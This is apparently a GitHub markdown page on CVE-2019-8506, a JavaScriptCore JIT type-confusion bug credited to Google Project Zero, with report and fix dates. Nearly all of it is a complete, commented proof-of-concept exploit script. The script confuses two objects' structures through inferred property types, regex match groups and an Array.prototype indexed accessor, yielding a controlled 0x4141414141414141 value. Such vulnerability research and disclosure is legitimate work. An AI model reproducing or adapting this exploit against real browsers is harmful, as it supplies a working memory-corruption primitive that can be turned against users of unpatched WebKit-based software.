Skip to content

Latest commit

 

History

History
103 lines (83 loc) · 4.23 KB

CVE-2019-8506.md

File metadata and controls

103 lines (83 loc) · 4.23 KB

CVE-2019-8506

  • Report: Jan 2019
  • Fix: Mar 2019
  • Credit: Samuel Gross, Google Project Zero

PoC

// /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
// The PoC will confuse objX with objY.
// objX will have structure S1, objY structure S2.
let objX = {objProperty: {fetchme: 1234}};
let objY = {doubleProperty: 2130562.5098039214};             // 0x4141414141414141 in memory

// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
    let protoWithIndexedAccessors = {};
    Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });

    // Compile a function that will end up creating an array with SlowPutArrayStorage.
    function helper(i) {
        // After JIT compilation, this new Array call will construct a normal array (with the
        // original Array prototype) with SlowPutArrayStorage due to profiling information from
        // previous executions (which all ended up transitioning to SlowPutArrayStorage).
        let a = new Array;
        if (i > 0) {
            // Convert the array to SlowPutArrayStorage by installing a prototype with indexed
            // accessors. This object can, however, not be used directly as the prototype is
            // different and thus the structure has changed.
            Object.setPrototypeOf(a, protoWithIndexedAccessors);
        }
        return a;
    }

    for (let i = 1; i < 10000; i++) {
        helper(i);
    }

    return helper(0);
}

// Helper object using inferred types.
let obj = {};
obj.inlineProperty1 = 1337;
obj.inlineProperty2 = 1338;
obj.oolProperty1 = objX;        // Inferred type of 'oolProperty1' will be ObjectWithStructure S1.
// 'obj' now has structure S3.

// Create the same structure (S4) that will later (when having a bad time) be used as
// regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial
// structure transition, inferred types for all property values are created.
let a = createArrayWithSlowPutArrayStorage();       // a has Structure S4,
a.index = 42;                                       // S5,
a.input = "foobar";                                 // S6,
a.groups = obj;                                     // and S7.
// The inferred type for the .groups property will be ObjectWithStructure S3.

// Inferred type for this property will be ObjectWithStructure S7.
global = a;

// Must assign twice so the JIT uses the inferred type instead of assuming that
// the property is constant and installing a replacement watchpoint to
// deoptimize whenever the property is replaced.
global = a;

// Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure
// (to use an array with SlowPutArrayStorage), but since the same structure transitions were
// performed before, it will actually reuse the existing structure S7. As no property values are
// assigned, all inferred types for structure S7 will still be valid.
Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } });

// Compile a function that uses the inferred value of 'global' to omit type checks.
function hax() {
    return global.groups.oolProperty1.objProperty.fetchme;
}

for (let i = 0; i < 10000; i++) {
    hax(i);
}

// Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially
// other properties) due to createRegExpMatchesArray using putDirect.
let match = "hax".match(/(?<oolProperty1>hax)/);

// match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7.
match.groups.oolProperty1 = objY;       // This property overlaps with oolProperty1 of structure S3.

// The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired.
global = match;

// Trigger the type confusion.
hax();

Reference